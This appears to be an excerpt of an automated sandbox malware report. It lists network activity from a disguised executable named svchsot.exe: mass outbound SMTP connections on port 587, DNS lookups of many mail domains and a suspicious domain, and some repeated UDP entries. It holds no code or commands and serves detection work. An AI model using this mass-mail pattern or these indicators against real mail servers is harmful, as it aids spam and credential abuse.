Source: global traffic	TCP traffic: 192.168.2.4:49833 -> 209.202.254.90:587
Source: global traffic	TCP traffic: 192.168.2.4:49839 -> 23.229.177.233:587
Source: global traffic	TCP traffic: 192.168.2.4:49840 -> 142.251.9.26:587
Source: global traffic	TCP traffic: 192.168.2.4:49841 -> 18.238.243.78:587
Source: global traffic	TCP traffic: 192.168.2.4:49843 -> 84.116.6.19:587
Source: global traffic	TCP traffic: 192.168.2.4:49848 -> 101.0.69.102:587
Source: global traffic	TCP traffic: 192.168.2.4:49849 -> 107.180.41.245:587
Source: global traffic	TCP traffic: 192.168.2.4:49850 -> 92.204.80.0:587
Source: global traffic	TCP traffic: 192.168.2.4:49851 -> 194.185.246.171:587
Source: global traffic	TCP traffic: 192.168.2.4:49853 -> 99.83.253.192:587
Source: global traffic	TCP traffic: 192.168.2.4:49854 -> 175.135.252.193:587
Source: global traffic	TCP traffic: 192.168.2.4:49857 -> 3.18.7.81:587
Source: global traffic	TCP traffic: 192.168.2.4:49859 -> 62.149.188.200:587
Source: global traffic	TCP traffic: 192.168.2.4:49860 -> 79.143.126.202:587
Source: global traffic	TCP traffic: 192.168.2.4:49863 -> 46.182.21.2:587
Source: global traffic	TCP traffic: 192.168.2.4:49864 -> 84.2.43.67:587
Source: global traffic	TCP traffic: 192.168.2.4:49865 -> 187.108.195.38:587
Source: global traffic	TCP traffic: 192.168.2.4:49869 -> 3.125.131.179:587
Source: global traffic	TCP traffic: 192.168.2.4:49870 -> 35.214.83.212:587
Source: global traffic	TCP traffic: 192.168.2.4:49871 -> 65.20.63.172:587
Source: global traffic	TCP traffic: 192.168.2.4:49877 -> 90.161.91.233:587
Source: global traffic	TCP traffic: 192.168.2.4:49878 -> 178.128.251.242:587
Source: global traffic	TCP traffic: 192.168.2.4:49881 -> 104.27.157.70:587
Source: global traffic	TCP traffic: 192.168.2.4:49882 -> 195.121.65.26:587
Source: global traffic	TCP traffic: 192.168.2.4:49883 -> 103.152.248.23:587
Source: global traffic	TCP traffic: 192.168.2.4:49885 -> 150.136.132.149:587
Source: global traffic	TCP traffic: 192.168.2.4:49888 -> 34.160.63.108:587
Source: global traffic	TCP traffic: 192.168.2.4:49889 -> 162.241.225.12:587
Source: global traffic	TCP traffic: 192.168.2.4:49894 -> 198.164.81.21:587
Source: global traffic	TCP traffic: 192.168.2.4:49900 -> 199.59.243.225:587
Source: global traffic	TCP traffic: 192.168.2.4:49901 -> 103.224.30.254:587
Source: global traffic	TCP traffic: 192.168.2.4:49907 -> 46.227.176.12:587
Source: global traffic	TCP traffic: 192.168.2.4:49908 -> 194.152.32.10:587
Source: global traffic	TCP traffic: 192.168.2.4:49910 -> 74.125.200.26:587
Source: global traffic	TCP traffic: 192.168.2.4:49911 -> 185.137.168.190:587
Source: global traffic	TCP traffic: 192.168.2.4:49912 -> 91.196.0.18:587
Source: global traffic	TCP traffic: 192.168.2.4:49915 -> 35.214.122.161:587
Source: global traffic	TCP traffic: 192.168.2.4:49916 -> 15.197.142.173:587
Source: global traffic	TCP traffic: 192.168.2.4:49917 -> 94.100.132.8:587
Source: global traffic	TCP traffic: 192.168.2.4:49920 -> 84.116.6.22:587
Source: global traffic	TCP traffic: 192.168.2.4:49925 -> 62.149.128.203:587
Source: global traffic	TCP traffic: 192.168.2.4:49929 -> 209.17.116.10:587
Source: global traffic	TCP traffic: 192.168.2.4:49933 -> 64.91.253.60:587
Source: global traffic	TCP traffic: 192.168.2.4:49940 -> 157.7.144.20:587
Source: global traffic	TCP traffic: 192.168.2.4:49942 -> 217.74.65.52:587
Source: global traffic	TCP traffic: 192.168.2.4:49941 -> 79.96.63.102:587
Source: global traffic	TCP traffic: 192.168.2.4:49943 -> 104.22.12.236:587
Source: global traffic	TCP traffic: 192.168.2.4:49944 -> 150.214.204.12:587
Source: global traffic	TCP traffic: 192.168.2.4:49948 -> 182.248.170.226:587
Source: global traffic	TCP traffic: 192.168.2.4:49954 -> 104.26.6.119:587
Source: global traffic	TCP traffic: 192.168.2.4:49955 -> 41.193.157.227:587
Source: global traffic	TCP traffic: 192.168.2.4:49960 -> 119.205.213.227:587
Source: global traffic	TCP traffic: 192.168.2.4:49962 -> 77.78.119.119:587
Source: global traffic	TCP traffic: 192.168.2.4:49963 -> 83.223.113.41:587
Source: global traffic	TCP traffic: 192.168.2.4:49964 -> 201.193.191.44:587
Source: global traffic	TCP traffic: 192.168.2.4:49967 -> 62.104.23.16:587
Source: global traffic	TCP traffic: 192.168.2.4:49969 -> 91.103.219.229:587
Source: global traffic	TCP traffic: 192.168.2.4:49973 -> 92.42.36.37:587
Source: global traffic	TCP traffic: 192.168.2.4:49974 -> 194.181.93.175:587
Source: global traffic	TCP traffic: 192.168.2.4:49978 -> 129.187.254.228:587
Source: global traffic	TCP traffic: 192.168.2.4:49980 -> 82.98.132.37:587
Source: global traffic	TCP traffic: 192.168.2.4:49981 -> 141.85.160.41:587
Source: global traffic	TCP traffic: 192.168.2.4:49986 -> 209.67.129.100:587
Source: global traffic	TCP traffic: 192.168.2.4:49988 -> 188.94.251.250:587
Source: global traffic	TCP traffic: 192.168.2.4:49989 -> 40.99.157.50:587
Source: global traffic	TCP traffic: 192.168.2.4:49990 -> 185.53.177.51:587
Source: global traffic	TCP traffic: 192.168.2.4:49992 -> 91.235.53.41:587
Source: global traffic	TCP traffic: 192.168.2.4:49997 -> 66.133.129.10:587
Source: global traffic	TCP traffic: 192.168.2.4:50000 -> 213.172.96.34:587
Source: global traffic	TCP traffic: 192.168.2.4:50001 -> 83.102.40.117:587
Source: global traffic	TCP traffic: 192.168.2.4:50002 -> 103.82.242.210:587
Source: global traffic	TCP traffic: 192.168.2.4:50005 -> 47.43.18.10:587
Source: global traffic	TCP traffic: 192.168.2.4:50007 -> 164.90.197.79:587
Source: global traffic	TCP traffic: 192.168.2.4:50011 -> 164.90.203.106:587
Source: global traffic	TCP traffic: 192.168.2.4:50015 -> 193.54.32.8:587
Source: global traffic	TCP traffic: 192.168.2.4:50020 -> 91.192.195.37:587
Source: global traffic	TCP traffic: 192.168.2.4:50022 -> 195.238.20.30:587
Source: global traffic	TCP traffic: 192.168.2.4:50023 -> 62.149.128.202:587
Source: global traffic	TCP traffic: 192.168.2.4:50027 -> 45.60.76.192:587
Source: global traffic	TCP traffic: 192.168.2.4:50029 -> 211.29.132.105:587
Source: global traffic	TCP traffic: 192.168.2.4:50030 -> 154.55.194.116:587
Source: global traffic	TCP traffic: 192.168.2.4:50031 -> 46.255.231.19:587
Source: global traffic	TCP traffic: 192.168.2.4:50033 -> 129.159.125.229:587
Source: global traffic	TCP traffic: 192.168.2.4:50035 -> 207.211.30.141:587
Source: global traffic	TCP traffic: 192.168.2.4:50036 -> 81.2.195.204:587
Source: global traffic	TCP traffic: 192.168.2.4:50038 -> 124.156.190.79:587
Source: global traffic	TCP traffic: 192.168.2.4:50056 -> 87.248.97.31:587
Source: global traffic	TCP traffic: 192.168.2.4:50057 -> 194.170.95.221:587
Source: global traffic	TCP traffic: 192.168.2.4:50058 -> 92.205.48.138:587
Source: global traffic	TCP traffic: 192.168.2.4:50061 -> 94.143.153.79:587
Source: global traffic	TCP traffic: 192.168.2.4:50062 -> 213.205.32.10:587
Source: global traffic	TCP traffic: 192.168.2.4:50063 -> 38.111.141.32:587
Source: global traffic	TCP traffic: 192.168.2.4:50066 -> 162.241.203.50:587
Source: global traffic	TCP traffic: 192.168.2.4:50074 -> 103.13.28.93:587
Source: global traffic	TCP traffic: 192.168.2.4:50080 -> 212.85.98.214:587
Source: global traffic	TCP traffic: 192.168.2.4:50082 -> 52.62.236.135:587
Source: global traffic	TCP traffic: 192.168.2.4:50091 -> 2.207.150.234:587
Source: global traffic	TCP traffic: 192.168.2.4:50099 -> 90.216.128.5:587
Source: global traffic	TCP traffic: 192.168.2.4:50101 -> 184.106.54.2:587
Source: global traffic	TCP traffic: 192.168.2.4:50102 -> 46.30.213.46:587
Source: global traffic	TCP traffic: 192.168.2.4:50117 -> 46.28.0.29:587
Source: global traffic	TCP traffic: 192.168.2.4:50119 -> 177.11.54.185:587
Source: global traffic	TCP traffic: 192.168.2.4:50120 -> 66.133.129.50:587
Source: global traffic	TCP traffic: 192.168.2.4:50123 -> 18.119.154.66:587
Source: global traffic	TCP traffic: 192.168.2.4:50124 -> 103.226.222.162:587
Source: global traffic	TCP traffic: 192.168.2.4:50126 -> 78.46.45.143:587
Source: global traffic	TCP traffic: 192.168.2.4:50127 -> 74.125.133.16:587
Source: global traffic	TCP traffic: 192.168.2.4:50131 -> 195.32.69.33:587
Source: global traffic	TCP traffic: 192.168.2.4:50130 -> 217.160.0.220:587
Source: global traffic	TCP traffic: 192.168.2.4:50132 -> 212.159.8.240:587
Source: global traffic	TCP traffic: 192.168.2.4:50143 -> 193.122.131.100:587
Source: global traffic	TCP traffic: 192.168.2.4:50145 -> 64.90.62.162:587
Source: global traffic	TCP traffic: 192.168.2.4:50146 -> 81.7.169.194:587
Source: global traffic	TCP traffic: 192.168.2.4:50149 -> 162.144.159.205:587
Source: global traffic	TCP traffic: 192.168.2.4:50160 -> 66.199.141.105:587
Source: global traffic	TCP traffic: 192.168.2.4:50161 -> 75.2.96.173:587
Source: global traffic	TCP traffic: 192.168.2.4:50162 -> 40.99.150.18:587

Source: global traffic

DNS traffic detected: number of DNS queries: 419

Source: Joe Sandbox View	IP Address: 103.226.222.162 103.226.222.162
Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48

Source: global traffic	TCP traffic: 192.168.2.4:49742 -> 194.153.145.104:587
Source: global traffic	TCP traffic: 192.168.2.4:49744 -> 193.81.82.81:587
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 104.18.2.81:587
Source: global traffic	TCP traffic: 192.168.2.4:49746 -> 188.114.96.3:587
Source: global traffic	TCP traffic: 192.168.2.4:49748 -> 104.22.65.144:587
Source: global traffic	TCP traffic: 192.168.2.4:49749 -> 129.159.94.43:587
Source: global traffic	TCP traffic: 192.168.2.4:49751 -> 199.85.66.2:587
Source: global traffic	TCP traffic: 192.168.2.4:49752 -> 168.0.132.203:587
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 81.7.169.213:587
Source: global traffic	TCP traffic: 192.168.2.4:49754 -> 52.223.4.149:587
Source: global traffic	TCP traffic: 192.168.2.4:49756 -> 120.50.131.112:587
Source: global traffic	TCP traffic: 192.168.2.4:49757 -> 213.250.19.150:587
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 213.209.1.145:587
Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 194.158.122.55:587
Source: global traffic	TCP traffic: 192.168.2.4:49761 -> 204.11.56.50:587
Source: global traffic	TCP traffic: 192.168.2.4:49762 -> 13.248.169.48:587
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 213.153.32.148:587
Source: global traffic	TCP traffic: 192.168.2.4:49764 -> 64.136.52.44:587
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 68.178.252.117:587
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 62.149.128.200:587
Source: global traffic	TCP traffic: 192.168.2.4:49771 -> 72.52.178.23:587
Source: global traffic	TCP traffic: 192.168.2.4:49772 -> 209.67.129.55:587
Source: global traffic	TCP traffic: 192.168.2.4:49775 -> 193.201.172.98:587
Source: global traffic	TCP traffic: 192.168.2.4:49776 -> 182.48.49.234:587
Source: global traffic	TCP traffic: 192.168.2.4:49777 -> 194.126.4.84:587
Source: global traffic	TCP traffic: 192.168.2.4:49778 -> 142.93.237.125:587
Source: global traffic	TCP traffic: 192.168.2.4:49780 -> 3.64.163.50:587
Source: global traffic	TCP traffic: 192.168.2.4:49783 -> 129.213.13.252:587
Source: global traffic	TCP traffic: 192.168.2.4:49784 -> 175.126.123.219:587
Source: global traffic	TCP traffic: 192.168.2.4:49787 -> 193.122.179.25:587
Source: global traffic	TCP traffic: 192.168.2.4:49788 -> 62.24.202.42:587
Source: global traffic	TCP traffic: 192.168.2.4:49790 -> 40.85.218.2:587
Source: global traffic	TCP traffic: 192.168.2.4:49791 -> 63.135.90.169:587
Source: global traffic	TCP traffic: 192.168.2.4:49792 -> 52.223.34.187:587
Source: global traffic	TCP traffic: 192.168.2.4:49793 -> 52.63.237.70:587
Source: global traffic	TCP traffic: 192.168.2.4:49796 -> 104.21.37.242:587
Source: global traffic	TCP traffic: 192.168.2.4:49797 -> 64.59.136.142:587
Source: global traffic	TCP traffic: 192.168.2.4:49798 -> 194.76.232.141:587
Source: global traffic	TCP traffic: 192.168.2.4:49802 -> 198.164.44.72:587
Source: global traffic	TCP traffic: 192.168.2.4:49804 -> 80.91.55.62:587
Source: global traffic	TCP traffic: 192.168.2.4:49806 -> 91.209.104.155:587
Source: global traffic	TCP traffic: 192.168.2.4:49807 -> 194.19.134.66:587
Source: global traffic	TCP traffic: 192.168.2.4:49809 -> 62.116.169.204:587
Source: global traffic	TCP traffic: 192.168.2.4:49811 -> 72.18.132.28:587
Source: global traffic	TCP traffic: 192.168.2.4:49812 -> 193.70.18.144:587
Source: global traffic	TCP traffic: 192.168.2.4:49813 -> 117.50.20.113:587
Source: global traffic	TCP traffic: 192.168.2.4:49817 -> 195.130.132.10:587
Source: global traffic	TCP traffic: 192.168.2.4:49819 -> 91.136.8.56:587
Source: global traffic	TCP traffic: 192.168.2.4:49821 -> 13.248.158.7:587
Source: global traffic	TCP traffic: 192.168.2.4:49822 -> 162.214.54.15:587
Source: global traffic	TCP traffic: 192.168.2.4:49823 -> 202.124.241.204:587
Source: global traffic	TCP traffic: 192.168.2.4:49826 -> 209.71.208.9:587
Source: global traffic	TCP traffic: 192.168.2.4:49828 -> 46.255.231.70:587
Source: global traffic	TCP traffic: 192.168.2.4:49829 -> 103.11.85.79:587
Source: global traffic	TCP traffic: 192.168.2.4:49833 -> 209.202.254.90:587
Source: global traffic	TCP traffic: 192.168.2.4:49839 -> 23.229.177.233:587
Source: global traffic	TCP traffic: 192.168.2.4:49840 -> 142.251.9.26:587
Source: global traffic	TCP traffic: 192.168.2.4:49841 -> 18.238.243.78:587
Source: global traffic	TCP traffic: 192.168.2.4:49843 -> 84.116.6.19:587
Source: global traffic	TCP traffic: 192.168.2.4:49848 -> 101.0.69.102:587
Source: global traffic	TCP traffic: 192.168.2.4:49849 -> 107.180.41.245:587
Source: global traffic	TCP traffic: 192.168.2.4:49850 -> 92.204.80.0:587
Source: global traffic	TCP traffic: 192.168.2.4:49851 -> 194.185.246.171:587
Source: global traffic	TCP traffic: 192.168.2.4:49853 -> 99.83.253.192:587
Source: global traffic	TCP traffic: 192.168.2.4:49854 -> 175.135.252.193:587
Source: global traffic	TCP traffic: 192.168.2.4:49857 -> 3.18.7.81:587
Source: global traffic	TCP traffic: 192.168.2.4:49859 -> 62.149.188.200:587
Source: global traffic	TCP traffic: 192.168.2.4:49860 -> 79.143.126.202:587
Source: global traffic	TCP traffic: 192.168.2.4:49863 -> 46.182.21.2:587
Source: global traffic	TCP traffic: 192.168.2.4:49864 -> 84.2.43.67:587
Source: global traffic	TCP traffic: 192.168.2.4:49865 -> 187.108.195.38:587
Source: global traffic	TCP traffic: 192.168.2.4:49869 -> 3.125.131.179:587
Source: global traffic	TCP traffic: 192.168.2.4:49870 -> 35.214.83.212:587
Source: global traffic	TCP traffic: 192.168.2.4:49871 -> 65.20.63.172:587
Source: global traffic	TCP traffic: 192.168.2.4:49877 -> 90.161.91.233:587
Source: global traffic	TCP traffic: 192.168.2.4:49878 -> 178.128.251.242:587
Source: global traffic	TCP traffic: 192.168.2.4:49881 -> 104.27.157.70:587
Source: global traffic	TCP traffic: 192.168.2.4:49882 -> 195.121.65.26:587
Source: global traffic	TCP traffic: 192.168.2.4:49883 -> 103.152.248.23:587
Source: global traffic	TCP traffic: 192.168.2.4:49885 -> 150.136.132.149:587
Source: global traffic	TCP traffic: 192.168.2.4:49888 -> 34.160.63.108:587
Source: global traffic	TCP traffic: 192.168.2.4:49889 -> 162.241.225.12:587
Source: global traffic	TCP traffic: 192.168.2.4:49894 -> 198.164.81.21:587
Source: global traffic	TCP traffic: 192.168.2.4:49900 -> 199.59.243.225:587
Source: global traffic	TCP traffic: 192.168.2.4:49901 -> 103.224.30.254:587
Source: global traffic	TCP traffic: 192.168.2.4:49907 -> 46.227.176.12:587
Source: global traffic	TCP traffic: 192.168.2.4:49908 -> 194.152.32.10:587
Source: global traffic	TCP traffic: 192.168.2.4:49910 -> 74.125.200.26:587
Source: global traffic	TCP traffic: 192.168.2.4:49911 -> 185.137.168.190:587
Source: global traffic	TCP traffic: 192.168.2.4:49912 -> 91.196.0.18:587
Source: global traffic	TCP traffic: 192.168.2.4:49915 -> 35.214.122.161:587
Source: global traffic	TCP traffic: 192.168.2.4:49916 -> 15.197.142.173:587
Source: global traffic	TCP traffic: 192.168.2.4:49917 -> 94.100.132.8:587
Source: global traffic	TCP traffic: 192.168.2.4:49920 -> 84.116.6.22:587
Source: global traffic	TCP traffic: 192.168.2.4:49925 -> 62.149.128.203:587
Source: global traffic	TCP traffic: 192.168.2.4:49929 -> 209.17.116.10:587
Source: global traffic	TCP traffic: 192.168.2.4:49933 -> 64.91.253.60:587
Source: global traffic	TCP traffic: 192.168.2.4:49940 -> 157.7.144.20:587
Source: global traffic	TCP traffic: 192.168.2.4:49942 -> 217.74.65.52:587
Source: global traffic	TCP traffic: 192.168.2.4:49941 -> 79.96.63.102:587
Source: global traffic	TCP traffic: 192.168.2.4:49943 -> 104.22.12.236:587
Source: global traffic	TCP traffic: 192.168.2.4:49944 -> 150.214.204.12:587
Source: global traffic	TCP traffic: 192.168.2.4:49948 -> 182.248.170.226:587
Source: global traffic	TCP traffic: 192.168.2.4:49954 -> 104.26.6.119:587
Source: global traffic	TCP traffic: 192.168.2.4:49955 -> 41.193.157.227:587
Source: global traffic	TCP traffic: 192.168.2.4:49960 -> 119.205.213.227:587
Source: global traffic	TCP traffic: 192.168.2.4:49962 -> 77.78.119.119:587
Source: global traffic	TCP traffic: 192.168.2.4:49963 -> 83.223.113.41:587
Source: global traffic	TCP traffic: 192.168.2.4:49964 -> 201.193.191.44:587
Source: global traffic	TCP traffic: 192.168.2.4:49967 -> 62.104.23.16:587
Source: global traffic	TCP traffic: 192.168.2.4:49969 -> 91.103.219.229:587
Source: global traffic	TCP traffic: 192.168.2.4:49973 -> 92.42.36.37:587
Source: global traffic	TCP traffic: 192.168.2.4:49974 -> 194.181.93.175:587
Source: global traffic	TCP traffic: 192.168.2.4:49978 -> 129.187.254.228:587
Source: global traffic	TCP traffic: 192.168.2.4:49980 -> 82.98.132.37:587
Source: global traffic	TCP traffic: 192.168.2.4:49981 -> 141.85.160.41:587
Source: global traffic	TCP traffic: 192.168.2.4:49986 -> 209.67.129.100:587
Source: global traffic	TCP traffic: 192.168.2.4:49988 -> 188.94.251.250:587
Source: global traffic	TCP traffic: 192.168.2.4:49989 -> 40.99.157.50:587
Source: global traffic	TCP traffic: 192.168.2.4:49990 -> 185.53.177.51:587
Source: global traffic	TCP traffic: 192.168.2.4:49992 -> 91.235.53.41:587
Source: global traffic	TCP traffic: 192.168.2.4:49997 -> 66.133.129.10:587
Source: global traffic	TCP traffic: 192.168.2.4:50000 -> 213.172.96.34:587
Source: global traffic	TCP traffic: 192.168.2.4:50001 -> 83.102.40.117:587
Source: global traffic	TCP traffic: 192.168.2.4:50002 -> 103.82.242.210:587
Source: global traffic	TCP traffic: 192.168.2.4:50005 -> 47.43.18.10:587
Source: global traffic	TCP traffic: 192.168.2.4:50007 -> 164.90.197.79:587
Source: global traffic	TCP traffic: 192.168.2.4:50011 -> 164.90.203.106:587
Source: global traffic	TCP traffic: 192.168.2.4:50015 -> 193.54.32.8:587
Source: global traffic	TCP traffic: 192.168.2.4:50020 -> 91.192.195.37:587
Source: global traffic	TCP traffic: 192.168.2.4:50022 -> 195.238.20.30:587
Source: global traffic	TCP traffic: 192.168.2.4:50023 -> 62.149.128.202:587
Source: global traffic	TCP traffic: 192.168.2.4:50027 -> 45.60.76.192:587
Source: global traffic	TCP traffic: 192.168.2.4:50029 -> 211.29.132.105:587
Source: global traffic	TCP traffic: 192.168.2.4:50030 -> 154.55.194.116:587
Source: global traffic	TCP traffic: 192.168.2.4:50031 -> 46.255.231.19:587
Source: global traffic	TCP traffic: 192.168.2.4:50033 -> 129.159.125.229:587
Source: global traffic	TCP traffic: 192.168.2.4:50035 -> 207.211.30.141:587
Source: global traffic	TCP traffic: 192.168.2.4:50036 -> 81.2.195.204:587
Source: global traffic	TCP traffic: 192.168.2.4:50038 -> 124.156.190.79:587
Source: global traffic	TCP traffic: 192.168.2.4:50056 -> 87.248.97.31:587
Source: global traffic	TCP traffic: 192.168.2.4:50057 -> 194.170.95.221:587
Source: global traffic	TCP traffic: 192.168.2.4:50058 -> 92.205.48.138:587
Source: global traffic	TCP traffic: 192.168.2.4:50061 -> 94.143.153.79:587
Source: global traffic	TCP traffic: 192.168.2.4:50062 -> 213.205.32.10:587
Source: global traffic	TCP traffic: 192.168.2.4:50063 -> 38.111.141.32:587
Source: global traffic	TCP traffic: 192.168.2.4:50066 -> 162.241.203.50:587
Source: global traffic	TCP traffic: 192.168.2.4:50074 -> 103.13.28.93:587
Source: global traffic	TCP traffic: 192.168.2.4:50080 -> 212.85.98.214:587
Source: global traffic	TCP traffic: 192.168.2.4:50082 -> 52.62.236.135:587
Source: global traffic	TCP traffic: 192.168.2.4:50091 -> 2.207.150.234:587
Source: global traffic	TCP traffic: 192.168.2.4:50099 -> 90.216.128.5:587
Source: global traffic	TCP traffic: 192.168.2.4:50101 -> 184.106.54.2:587
Source: global traffic	TCP traffic: 192.168.2.4:50102 -> 46.30.213.46:587
Source: global traffic	TCP traffic: 192.168.2.4:50117 -> 46.28.0.29:587
Source: global traffic	TCP traffic: 192.168.2.4:50119 -> 177.11.54.185:587
Source: global traffic	TCP traffic: 192.168.2.4:50120 -> 66.133.129.50:587
Source: global traffic	TCP traffic: 192.168.2.4:50123 -> 18.119.154.66:587
Source: global traffic	TCP traffic: 192.168.2.4:50124 -> 103.226.222.162:587
Source: global traffic	TCP traffic: 192.168.2.4:50126 -> 78.46.45.143:587
Source: global traffic	TCP traffic: 192.168.2.4:50127 -> 74.125.133.16:587
Source: global traffic	TCP traffic: 192.168.2.4:50131 -> 195.32.69.33:587
Source: global traffic	TCP traffic: 192.168.2.4:50130 -> 217.160.0.220:587
Source: global traffic	TCP traffic: 192.168.2.4:50132 -> 212.159.8.240:587
Source: global traffic	TCP traffic: 192.168.2.4:50143 -> 193.122.131.100:587
Source: global traffic	TCP traffic: 192.168.2.4:50145 -> 64.90.62.162:587
Source: global traffic	TCP traffic: 192.168.2.4:50146 -> 81.7.169.194:587
Source: global traffic	TCP traffic: 192.168.2.4:50149 -> 162.144.159.205:587
Source: global traffic	TCP traffic: 192.168.2.4:50160 -> 66.199.141.105:587
Source: global traffic	TCP traffic: 192.168.2.4:50161 -> 75.2.96.173:587
Source: global traffic	TCP traffic: 192.168.2.4:50162 -> 40.99.150.18:587

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe

Code function: 9_2_004030A8 select,recv,

9_2_004030A8

Source: global traffic	DNS traffic detected: DNS query: cobusabobus.cam
Source: global traffic	DNS traffic detected: DNS query: abv.bg
Source: global traffic	DNS traffic detected: DNS query: mail.unionpayroll.com
Source: global traffic	DNS traffic detected: DNS query: m.dogspot.in
Source: global traffic	DNS traffic detected: DNS query: aon.at
Source: global traffic	DNS traffic detected: DNS query: mail.i.ua
Source: global traffic	DNS traffic detected: DNS query: smtp.me.com
Source: global traffic	DNS traffic detected: DNS query: mail.optum.com.dev
Source: global traffic	DNS traffic detected: DNS query: meta.ua
Source: global traffic	DNS traffic detected: DNS query: smtp.ig.com.br
Source: global traffic	DNS traffic detected: DNS query: sympatico.ca
Source: global traffic	DNS traffic detected: DNS query: smtp.tds.net
Source: global traffic	DNS traffic detected: DNS query: nate.com
Source: global traffic	DNS traffic detected: DNS query: mail.hot.ee
Source: global traffic	DNS traffic detected: DNS query: hzmx01.mxmail.netease.com
Source: global traffic	DNS traffic detected: DNS query: securesmtp.iokugoi.fr
Source: global traffic	DNS traffic detected: DNS query: securesmtp.ceresiosim.it
Source: global traffic	DNS traffic detected: DNS query: secure.academy.vipcapitalfx.com
Source: global traffic	DNS traffic detected: DNS query: smtp.siol.net
Source: global traffic	DNS traffic detected: DNS query: smtp.winkworthconsulting.co.uk
Source: global traffic	DNS traffic detected: DNS query: secure.dr-gehring.com
Source: global traffic	DNS traffic detected: DNS query: out.ctg-95.de
Source: global traffic	DNS traffic detected: DNS query: smtp.virgilio.it
Source: global traffic	DNS traffic detected: DNS query: temporary-mail.net
Source: global traffic	DNS traffic detected: DNS query: out.provcos.com
Source: global traffic	DNS traffic detected: DNS query: mail.mikeandcheryl.ca
Source: global traffic	DNS traffic detected: DNS query: smtp.bbox.fr
Source: global traffic	DNS traffic detected: DNS query: securesmtp.aigpol.be
Source: global traffic	DNS traffic detected: DNS query: noos.fr
Source: global traffic	DNS traffic detected: DNS query: out.samu.co.uk
Source: global traffic	DNS traffic detected: DNS query: smtp.fondazioneitscatania.it
Source: global traffic	DNS traffic detected: DNS query: smtp.sbg.at
Source: global traffic	DNS traffic detected: DNS query: kefgames.net
Source: global traffic	DNS traffic detected: DNS query: smtp.bex.net
Source: global traffic	DNS traffic detected: DNS query: smtp.netzero.net
Source: global traffic	DNS traffic detected: DNS query: securesmtp.564269.com
Source: global traffic	DNS traffic detected: DNS query: smtp.nubcakes.co.cc
Source: global traffic	DNS traffic detected: DNS query: mail.trinipulse.com
Source: global traffic	DNS traffic detected: DNS query: mail.bsliquors.com
Source: global traffic	DNS traffic detected: DNS query: mail.essepiauto.it
Source: global traffic	DNS traffic detected: DNS query: securesmtp.alunoavemaria.g12.br
Source: global traffic	DNS traffic detected: DNS query: out.ccmedia.fr
Source: global traffic	DNS traffic detected: DNS query: smtp.studentnbed.nb.ca
Source: global traffic	DNS traffic detected: DNS query: securesmtp.vieiracessorios.com.br
Source: global traffic	DNS traffic detected: DNS query: securesmtp.harborwc.com
Source: global traffic	DNS traffic detected: DNS query: mail.bg
Source: global traffic	DNS traffic detected: DNS query: hamamatsu.se
Source: global traffic	DNS traffic detected: DNS query: heritage-title.com
Source: global traffic	DNS traffic detected: DNS query: out.oratorica.com
